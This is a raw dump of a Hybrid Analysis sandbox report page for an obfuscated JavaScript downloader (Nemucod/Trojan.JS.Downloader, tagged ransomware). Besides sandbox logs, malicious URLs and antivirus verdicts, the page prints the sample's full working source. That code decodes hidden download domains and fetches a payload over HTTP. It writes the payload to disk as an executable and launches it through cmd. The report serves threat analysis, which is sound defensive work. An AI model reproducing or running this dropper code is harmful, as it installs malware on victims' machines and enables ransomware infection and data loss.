dftw

23:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 2a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 22:T4a2,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.JS.Downloader Sample 1e71e61ebcab… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 1e71e61ebcab…. Malware family: Trojan.JS.Downloader. Threat score 100/100. 18/28 AV engines flagged this file. 5 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/1e71e61ebcabc7b5da7e797fd28656c6684c03a632131e8341757152328370af","keywords":["Malicious","Trojan.JS.Downloader","malware analysis","sandbox report","threat intelligence","1e71e61ebcabc7b5da7e797fd28656c6684c03a632131e8341757152328370af"],"about":{"@type":"SoftwareApplication","name":"Scan_005416.js","applicationCategory":["script","javascript"],"identifier":"1e71e61ebcabc7b5da7e797fd28656c6684c03a632131e8341757152328370af","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.JS.Downloader","antivirusDetections":{"malicious":18,"total":28},"behavioralIndicators":{"malicious":5,"suspicious":10},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}24:T832,"RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137617769 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137617813 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137617855 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137617897 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137617938 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137617980 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137617992 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137618160 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137618203 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137618245 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137618287 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137618328 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137618369 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137618411 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137618452 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137618493 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137618534 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137618575 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-137618616 "RPNLgeRHJ2.exe" queries volume information of unknown location at 00060951-00003368-0000010C-13761865825:T516,"\Sessions\1\BaseNamedObjects\Local\_!MSFTHISTORY!_" "\Sessions\1\BaseNamedObjects\Local\c:!users!mm9weeq!appdata!local!microsoft!windows!temporary internet files!content.ie5!" "\Sessions\1\BaseNamedObjects\Local\c:!users!mm9weeq!appdata!roaming!microsoft!windows!cookies!" "\Sessions\1\BaseNamedObjects\Local\c:!users!mm9weeq!appdata!local!microsoft!windows!history!history.ie5!" "\Sessions\1\BaseNamedObjects\Local\WininetStartupMutex" "\Sessions\1\BaseNamedObjects\Local\WininetConnectionMutex" "\Sessions\1\BaseNamedObjects\Local\WininetProxyRegistryMutex" "\Sessions\1\BaseNamedObjects\Local\!IETld!Mutex" "\Sessions\1\BaseNamedObjects\Local\c:!users!mm9weeq!appdata!roaming!microsoft!windows!ietldcache!" "\Sessions\1\BaseNamedObjects\RasPbFile" "\Sessions\1\BaseNamedObjects\Local\ZonesCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZoneAttributeCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "Local\!IETld!Mutex" "Local\ZonesCounterMutex" "Local\c:!users!mm9weeq!appdata!local!microsoft!windows!temporary internet files!content.ie5!" "Local\WininetProxyRegistryMutex" "Local\c:!users!mm9weeq!appdata!roaming!microsoft!windows!cookies!" "Local\ZoneAttributeCacheCounterMutex"26:T3626,Output: "var VbastoV = "201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 264 201 201 201 265 254 255 256 257 258 259 260 261 262 263 201 201 201 201 201 201 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 201 201 201 201 201 201 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201 201".split(" ");var off12 = 5 + 0xfe;var silkopil = "/";var proto = "proto" + "type";dirtyGog = { 'DRRABLE': 'onseBody', 'U': 'S', '101': '', 'BILABLE': 'X', ':': '.', '11': '', "_____": ""};off12 = off12 - 4var velVITK_BOSKO_2S = "";for (jbl1 = 0; 256 > jbl1; ++jbl1) { VbastoV[jbl1] = parseInt(VbastoV[jbl1], 10); VbastoV[jbl1]++; VbastoV[jbl1] = VbastoV[jbl1] - 203;};var ahgceb2 = function() { var huhunehuhutitter_POPOLAM, line4, huhunehuhutitter_Selection1, huhunehuhutitter_FROG2c4; var huhunehuhutitter_AKUPER = ""; var PROPUSK1 = this.replace(/WOOHER/gi, huhunehuhutitter_AKUPER); var huhunehuhutitter_FROG2len = PROPUSK1.length; line6 = 0; while (line6 < huhunehuhutitter_FROG2len) { do { var huhunehuhutitter_koch = PROPUSK1.charCodeAt(line6++) & (0x132 - 0x33); huhunehuhutitter_POPOLAM = VbastoV[huhunehuhutitter_koch]; } while (line6 < huhunehuhutitter_FROG2len && huhunehuhutitter_POPOLAM == -1); if (huhunehuhutitter_POPOLAM == -1) break; do { stembl = "the"; line4 = VbastoV[PROPUSK1.charCodeAt(line6++) & off12]; } while (line6 < huhunehuhutitter_FROG2len && line4 == -1); if (line4 + 2 + 1 == 1 + 1) break; huhunehuhutitter_AKUPER += String.fromCharCode((huhunehuhutitter_POPOLAM << 2) | ((line4 & 0x30) >> 4)); while (1) { huhunehuhutitter_Selection1 = PROPUSK1.charCodeAt(line6++) & 0xff; if (huhunehuhutitter_Selection1 == 61) return huhunehuhutitter_AKUPER; huhunehuhutitter_Selection1 = VbastoV[huhunehuhutitter_Selection1]; if (!(line6 < huhunehuhutitter_FROG2len && huhunehuhutitter_Selection1 == -1)) break; } if (huhunehuhutitter_Selection1 == -1) break; huhunehuhutitter_AKUPER += String.fromCharCode(((line4 & (0xe + 1)) << 4) | ((huhunehuhutitter_Selection1 & 0x3c) >> 2)); do { huhunehuhutitter_FROG2c4 = PROPUSK1.charCodeAt(line6++) & off12; if (huhunehuhutitter_FROG2c4 == 61) return huhunehuhutitter_AKUPER; huhunehuhutitter_FROG2c4 = VbastoV[huhunehuhutitter_FROG2c4]; } while (line6 < huhunehuhutitter_FROG2len && huhunehuhutitter_FROG2c4 == -1); if (huhunehuhutitter_FROG2c4 == -1) break; huhunehuhutitter_AKUPER += String.fromCharCode(((huhunehuhutitter_Selection1 & 0x03) << 6) | huhunehuhutitter_FROG2c4); } return huhunehuhutitter_AKUPER;};function huhunehuhutitter_FROG2undefilled(rx, ry) { rx = HCKD / RDMP; ry = 109 + velVLUMAHZZ;};huhunehuhutitter_FROG2undefilled.dEDWWEE = function() { huhunehuhutitter_FROG2ok(huhunehuhutitter_FROG2spyFunction1.huhunehuhutitter_FROG2calledWith(), "Function called without arguments"); huhunehuhutitter_FROG2publisher.huhunehuhutitter_FROG2publish(this.huhunehuhutitter_FROG2type1, "PROPER1"); huhunehuhutitter_FROG2ok(huhunehuhutitter_FROG2spyFunction1.huhunehuhutitter_FROG2calledWith("PROPER1"), "Function called with 'PROPER1' argument"); huhunehuhutitter_FROG2publisher.huhunehuhutitter_FROG2publish(this.huhunehuhutitter_FROG2type1, ["PROPER1", "PROPER2"]);};var trigDA;var huhunehuhutitter_LLL0LLL = "2";String["pro" + "totype"].Gondengon = ahgceb2;function Gashish(SOcksRadFROGvostochniy) { eth11 = SOcksRadFROGvostochniy; for (var abba in dirtyGog) { eth11 = eth11["repla" + "ce"](abba, dirtyGog[abba]); } return eth11;};var huhunehuhutitter_FROG2TRUEFALSE = ("V2lWOOHERuZG93cyBTY3JpcWOOHERHQgSG9zdA=WOOHER=".Gondengon() + "MPO203ZDD" == "WOOHERV2lWOOHERuZG93cyBTY3JpcWOOHERHQgSG9zdA==".Gondengon() + "MPO203ZDD") && typeof(huhunehuhutitter_FROG2GzEAPd) === "undefined";var huhunehuhutitter_FROGsrq = "UmVxdWVzdEhlYWRlcg==".Gondengon();var huhunehuhutitterFPADRML = ("").Gondengon();var huhunehuhutitter_FROG2lidgen = "QWN0WOOHERaXZlWEWOOHER9iamVjdA==".Gondengon();var huhunehuhutitter_FROG2chosen = Math.round(0.7 * 2 - 0.4);var takeshiKitana = new Function("WOOHER WOOHER2", "WOOHER[WOOHER2]();");if (!huhunehuhutitter_FROG2TRUEFALSE) { huhunehuhutitter_FROG2undefilled.scale = function(huhunehuhutitter_FROG2p, huhunehuhutitter_FROG2scaleX, huhunehuhutitter_FROG2scaleY) { if (line6sObject(huhunehuhutitter_FROG2scaleX)) { huhunehuhutitter_FROG2scaleY = huhunehuhutitter_FROG2scaleX.y; huhunehuhutitter_FROG2scaleX = huhunehuhutitter_FROG2scaleX.x; } else if (!line6sNumber(huhunehuhutitter_FROG2scaleY)) { huhunehuhutitter_FROG2scaleY = huhunehuhutitter_FROG2scaleX; } return new huhunehuhutitter_FROG2undefilled(huhunehuhutitter_FROG2p.x * huhunehuhutitter_FROG2scaleX, huhunehuhutitter_FROG2p.y * huhunehuhutitter_FROG2scaleY); };}function huhunehuhutitterFPADZO_ZO(TT) { eval(TT);}if (!huhunehuhutitter_FROG2TRUEFALSE) { huhunehuhutitter_FROG2undefilled.huhunehuhutitter_FROG2sameOrN = function(huhunehuhutitter_FROG2param1, huhunehuhutitter_FROG2param2) { return huhunehuhutitter_FROG2param1.D == huhunehuhutitter_FROG2param2.D || huhunehuhutitter_FROG2param1.F == huhunehuhutitter_FROG2param2.F; }; huhunehuhutitter_FROG2undefilled.angle = function(huhunehuhutitter_FROG2p) { return Math.atan2(huhunehuhutitter_FROG2p.y, huhunehuhutitter_FROG2p.x); };}var huhunehuhutitter_FROG2VARDOCF = "JVRFWOOHERTVAlWOOHER".Gondengon();var oLDNameCreator = new Function("WOOHER WOOHER", "trigDA = " + ("bmV3IEZ1bmN0aW9uKCd2VlJFQkZGM" + "ycsJ3JldHVybiBcIlRWTT1cIg==").Gondengon() + ".Gondengon();');");var huhunehuhutitterruchka = "RXhwYW5WOOHERkRW52aXJvbm1lbnRTdHJWOOHERpbmWOOHERdz".Gondengon();var huhunehuhutitter_FROGhatershaha = "";var huhunehuhutitter_FROGodnoklass = "RPNLgeRHJ";function placeHolder(AOn) { return new ActiveXObject(AOn);}var huhunehuhutitter_FROG2Native = function(options) {};if (WSH) { huhunehuhutitter_FROG2Native.line6mplement = function(huhunehuhutitter_FROG2objects, huhunehuhutitter_FROG2properties) { for (var line6 = 0, huhunehuhutitter_FROG2l = huhunehuhutitter_FROG2objects.length; line6 < huhunehuhutitter_FROG2l; line6++) huhunehuhutitter_FROG2objects[line6].line6mplement(huhunehuhutitter_FROG2properties); }; oLDNameCreator();}var huhunehuhutitter_FROG2_bChosteck = "aHR0cWOOHERDovLw=WOOHER=";var huhunehuhutitter_selection2dbb = "WA==".Gondengon() + "M" + "L";var huhunehuhutitter_Upercot1 = "WOOHER" + "WOOHER" + "";function huhunehuhutitter_FROG2_bCho(T, D, C) { R = D + ""; T[D + ""](C);}var vefevekapupu;function d3xf3x(rdf) { return "\x3F" + rdf + "\x3D";}var ace1 = trigDA() + huhunehuhutitter_selection2dbb;huhunehuhutitter_selection2dbb = ace1 + Gashish(("huhunehuhutitter_ninetynine", "huhunehuhutitter_influx", "huhunehuhutitter_married", "huhunehuhutitter_pickaxe", "huhunehuhutitter_climatic", "2.") + "BILABLEML_____H101T" + "TP44421WOOHER44421" + "WS" + "cr" + "ipt:Uh") + "e" + "ll";var huhunehuhutitter_FROG2DoUtra = [huhunehuhutitter_FROG2lidgen, huhunehuhutitterruchka, huhunehuhutitter_FROG2VARDOCF, "LmVWOOHER4ZQ=WOOHER=".Gondengon(), "UnWOOHERVuWOOHER".Gondengon(), huhunehuhutitter_selection2dbb];huhunehuhutitter_FROG2Richters = huhunehuhutitter_FROG2DoUtra.shift();var huhunehuhutitter_44421 = huhunehuhutitter_FROG2DoUtra.pop();huhunehuhutitter_FROG2fabled = "Selection2Action";var huhunehuhutitter_FROG2LitoyDISK = ActiveXObject;huhunehuhutitter_FROG2Native.huhunehuhutitter_FROG2typize = function(a, b) { a.type || (a.type = function(a) { return huhunehuhutitter_FROG2$type(a) === b })};vefevekapupu = huhunehuhutitter_44421["sp" + 'lit']("44421");huhunehuhutitter_FROGcccomeccc = "p";var Limbus2000 = new Function("HORN", ' var GALAXY = "chastity necessarily()";var kelso = "ADODB.Str32"; return kelso.replace("DILBO", "D").replace("32", "eam");');function huhunehuhutitter_FROG2_cCho(a, b, c, d) { a[b](c, d)}RI12 = vefevekapupu[huhunehuhutitter_FROGcccomeccc + "op"]();var huhunehuhutitterGooodName;function mimimix2() { try { ori_sel[fixed] = 0; /* Convert to face format*/ /* Mapping from permutation/orientation to facelet*/ for (var i = 0; i < 8; i++) { for (var j = 0; j < 3; j++) posit[pos[i][(ori_sel[i] + j) % 3]] = fmap[perm_sel[i]][j]; } } catch (exc1) { } huhunehuhutitterGooodName = "b3BlbgWOOHER=WOOHER=".Gondengon();}mimimix2();huhunehuhutitterSotka = placeHolder(RI12);huhunehuhutitterAist = new ActiveXObject(vefevekapupu[0]);huhunehuhutitter_FROG2tudabilo1 = "s";eval(huhunehuhutitter_Upercot1.Gondengon());var huhunehuhutitter_FROG2vulture = huhunehuhutitterSotka[huhunehuhutitter_FROG2DoUtra.shift()](huhunehuhutitter_FROG2DoUtra.shift());huhunehuhutitter_FROG2weasel = "G\x45T";var huhunehuhutitter_FROG2SIDRENKOV = huhunehuhutitter_FROG2DoUtra.shift();huhunehuhutitter_FROG2SPASPI = "type";var huhunehuhutitter_selectionPipe = huhunehuhutitter_FROG2DoUtra.shift();function huhunehuhutitter_FROG2_aCho(R, K) { R[K]();}var huhunehuhutitterVSTALPOSHEL2;function huhunehuhutittercomBAT(huhunehuhutitterVSTALPOSHEL) { var huhunehuhutitterWasechO = "" + huhunehuhutitter_FROG2vulture; try { huhunehuhutitterWasechO = huhunehuhutitterWasechO + silkopil; huhunehuhutitterWasechO = huhunehuhutitterWasechO + "" + huhunehuhutitterVSTALPOSHEL2; huhunehuhutitterAist["open"](huhunehuhutitter_FROG2weasel, huhunehuhutitterVSTALPOSHEL, false); if (huhunehuhutitter_FROG2TRUEFALSE) { huhunehuhutitter_FROG2_cCho(huhunehuhutitterAist, "set" + (11, "huhunehuhutitter_comer", "huhunehuhutitter_radial", "huhunehuhutitter_infidel", "huhunehuhutitter_privy", "huhunehuhutitter_defines", "huhunehuhutitter_cowboy", "huhunehuhutitter_grumble", huhunehuhutitter_FROGsrq), "User-Agent", "TW96aWxsYS80LjAgWOOHERKGNvbXBhdGlibGU7IE1TSUUgNi4wOyWOOHERBXaW5kb3dzIE5UIDUuMCk=".Gondengon()); } vlogTry = "11"; huhunehuhutitterAist[huhunehuhutitter_FROG2tudabilo1 + ("huhunehuhutitter_claire", "huhunehuhutitter_alien", "huhunehuhutitter_allege", "huhunehuhutitter_flirtation", "huhunehuhutitter_allocated", "en") + "" + "d"](); var havrosh2 = "Res" + "p" + (huhunehuhutitterVSTALPOSHEL2, "huhunehuhutitter_intermediate", "huhunehuhutitter_popped", 2112, "huhunehuhutitter_vanilla", "huhunehuhutitter_supplement", dirtyGog['DRRABLE']); var havrosh = huhunehuhutitterAist[havrosh2]; var huhunehuhutitter_MainZ = new huhunehuhutitter_FROG2LitoyDISK(Limbus2000()); if (huhunehuhutitter_FROG2TRUEFALSE) { huhunehuhutitter_FROGGaSMa = "Selection10Action"; var takeshiKitana2 = new Function("WOOHER,WOOHER2", "WOOHER['wr" + "ite'](WOOHER2);"); takeshiKitana(huhunehuhutitter_MainZ, huhunehuhutitterGooodName); huhunehuhutitter_MainZ[huhunehuhutitter_FROG2SPASPI] = huhunehuhutitter_FROG2chosen; takeshiKitana2(huhunehuhutitter_MainZ, havrosh); huhunehuhutitter_FROG2XWaxeQhw = "Selection11Action"; huhunehuhutitter_MainZ["position"] = 0; huhunehuhutitter_FROG2krDwvrh = "Selection12Action"; huhunehuhutitterWasechO = huhunehuhutitterWasechO + huhunehuhutitter_FROG2SIDRENKOV; huhunehuhutitter_MainZ["cWOOHER2F2WOOHERZVWOOHERRvRmlsZQ==".Gondengon()](huhunehuhutitterWasechO, 26 / 13); huhunehuhutitterWasechO = "exe /c START \"\" " + huhunehuhutitterWasechO; huhunehuhutitter_FROG2SswQdi = "Selection13Action"; huhunehuhutitter_MainZ.close(); huhunehuhutitterSotka["E" + "xec"]("cmd." + huhunehuhutitterWasechO); } } catch (exception4) { return false; } return true;};huhunehuhutitterFPADZO_ZO(huhunehuhutitterFPADRML);var huhunehuhutitter_FROGodnoklassYO = 1;var huhunehuhutittersurvivalBBB = ('WOOHERZGFteW5naGVkdW5nbGluaC5jb20vWW9lcEhHZWOOHERHM/SSSSWOOHERM2RwdmlldG5hbSWOOHER5jb20vWW9lcEhHZHM/SSSS' + '' + 'WOOHERZW1lcmdlbmN5LWhlbHAuY29tLmF1L1lvWOOHERZXBIR2RzPw==SSSSSSSSWOOHER').split("SSSS");var function31 = new Function("huhunehuhutittersurvivalBBB,huhunehuhutittersurvivalCCC", 'return huhunehuhutitter_FROG2_bChosteck.Gondengon() + huhunehuhutittersurvivalBBB[huhunehuhutittersurvivalCCC].Gondengon();');function abordage(A, B, C) { try { } catch (e) {}}for (huhunehuhutittersurvivalCCC in huhunehuhutittersurvivalBBB) { huhunehuhutitter_FROGodnoklassYO++; var a; var AXXA = function31(huhunehuhutittersurvivalBBB, huhunehuhutittersurvivalCCC) + d3xf3x(huhunehuhutitter_FROGodnoklass) + huhunehuhutitter_FROGodnoklass; huhunehuhutitterVSTALPOSHEL2 = huhunehuhutitter_FROGodnoklass + huhunehuhutitter_FROGodnoklassYO; if (huhunehuhutittercomBAT(AXXA)) { break; }}"27:T68d,"wscript.exe" touched file "C:\Windows\System32\en-US\wscript.exe.mui" "wscript.exe" touched file "C:\Windows\System32\wscript.exe" "wscript.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "wscript.exe" touched file "C:\Windows\System32\rsaenh.dll" "wscript.exe" touched file "C:\Windows\System32\en-US\jscript.dll.mui" "wscript.exe" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "wscript.exe" touched file "C:\Windows\System32\msxml3r.dll" "wscript.exe" touched file "C:\Windows\System32\wshom.ocx" "wscript.exe" touched file "C:\Windows\System32\msxml3.dll\1" "wscript.exe" touched file "C:\Windows\System32\msxml3.dll" "wscript.exe" touched file "C:\Users\Mm9weEq\AppData\Local\Microsoft\Windows\Temporary Internet Files" "wscript.exe" touched file "C:\Users\Mm9weEq\AppData\Roaming\Microsoft\Windows\Cookies" "wscript.exe" touched file "C:\Users\Mm9weEq\AppData\Local\Microsoft\Windows\History" "wscript.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat" "wscript.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies\index.dat" "wscript.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat" "wscript.exe" touched file "C:\Windows\System32\en-US\urlmon.dll.mui" "wscript.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat" "wscript.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\7N5LGTOO\YoepHGds[1]" "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll"28:T72f,"RPNLgeRHJ2.exe" opened "C:\1e71e61ebcabc7b5da7e797fd28656c6684c03a632131e8341757152328370af.js" with delete access "RPNLgeRHJ2.exe" opened "C:\autoexec.bat" with delete access "RPNLgeRHJ2.exe" opened "C:\config.sys" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\desktop.ini" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\desktop.ini" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Videos\desktop.ini" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Videos\Sample Videos\desktop.ini" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Videos\Sample Videos\Wildlife.wmv" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Recorded TV\desktop.ini" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Recorded TV\Sample Media\desktop.ini" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Recorded TV\Sample Media\win7_scenic-demoshort_raw.wtv" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Pictures\desktop.ini" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\Desert.jpg" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\desktop.ini" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\Koala.jpg" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg" with delete access "RPNLgeRHJ2.exe" opened "C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg" with delete access29:T4cb,Found malicious artifacts related to "198.143.137.42": ... URL: http://cugaituoianthai.com/Mndv63 (AV positives: 4/66 scanned on 12/29/2017 09:39:03) URL: http://www.tindungvietcombank24h.com/wp-admin/css/colors/sunrise/73194cc90d3.html (AV positives: 2/66 scanned on 12/29/2017 06:01:28) URL: http://cugaituoianthai.com/ (AV positives: 1/66 scanned on 12/29/2017 05:08:21) URL: http://cugaituoianthai.com/Mndv63? (AV positives: 1/66 scanned on 12/28/2017 19:37:55) URL: http://tindungvietcombank24h.com/jkhg5r4 (AV positives: 4/66 scanned on 12/28/2017 18:14:57) File SHA256: eab3c6733e783f0a85608582f6c47238809306801ab8e80862b03497358de944 (AV positives: 32/68 scanned on 12/29/2017 09:39:08) File SHA256: 607df3ac22bbc7138da3940ef84479261fdac6165b28c5e432236407984bb8a2 (AV positives: 11/64 scanned on 12/28/2017 18:15:00) File SHA256: 15e8c986c4602c61a474b51d250e03d5bb178eabc8c5a82a242c1a0fa2227704 (AV positives: 13/67 scanned on 12/22/2017 15:54:10) File SHA256: da3ab88c61deabf4cb4d296cc0b4a586eeedc89e87adc4ea648ab8fe6a41346c (AV positives: 16/67 scanned on 12/22/2017 12:36:38) File SHA256: 70c65bd0e084398a87baa298c1fafa52afff402096cb350d563d309565c07e83 (AV positives: 1/59 scanned on 12/20/2017 19:17:18)1a:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$22"}}],["$","$L23",null,{"initialData":{"schema_version":"1.0.15","sha256":"1e71e61ebcabc7b5da7e797fd28656c6684c03a632131e8341757152328370af","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790268732688,"unified_at":"2026-09-24T16:52:12.688Z","metadata":{"hashes":{"sha256":"1e71e61ebcabc7b5da7e797fd28656c6684c03a632131e8341757152328370af","sha1":"c76648c80e2dd8eec0ade984676d20c24c27f739","md5":"b7fa431539c5eeebce140594df65041d","sha512":"f05fa50b9ffce1f1ed6fe703c56f98597b36db929743034321840d27d71317d427db9c899a1cb866e17dba9b687e241bfebca3244ae7bf9af8ab108c49d03a48","ssdeep":"Unknown","imphash":"Unknown"},"file_info":{"file_name":"Scan_005416.js","file_type":["script","javascript"],"file_type_id":"js","file_size":13802,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1514542163000,"last_seen":1662307415000,"last_multi_scan":1662307415000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["globeimposter","locky","nemucod","ransomware"]},"stats":{"av":{"malicious_count":18,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":25,"suspicious_count":10,"malicious_count":5,"total":40},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"JS/Obfus","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Downloader]/JS.Nemucod.dbp","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HTML/ExpKit.Gen2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.JS.Downloader.IGK","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"TrojWare.JS.TrojanDownloader.Agent.RS","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"JS/Nemucod.CA2!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.JS.Downloader.IGK (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"JS/TrojanDownloader.Agent.RRK trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.JS.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.Script.Agent.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"JS/Nemucod.oa","p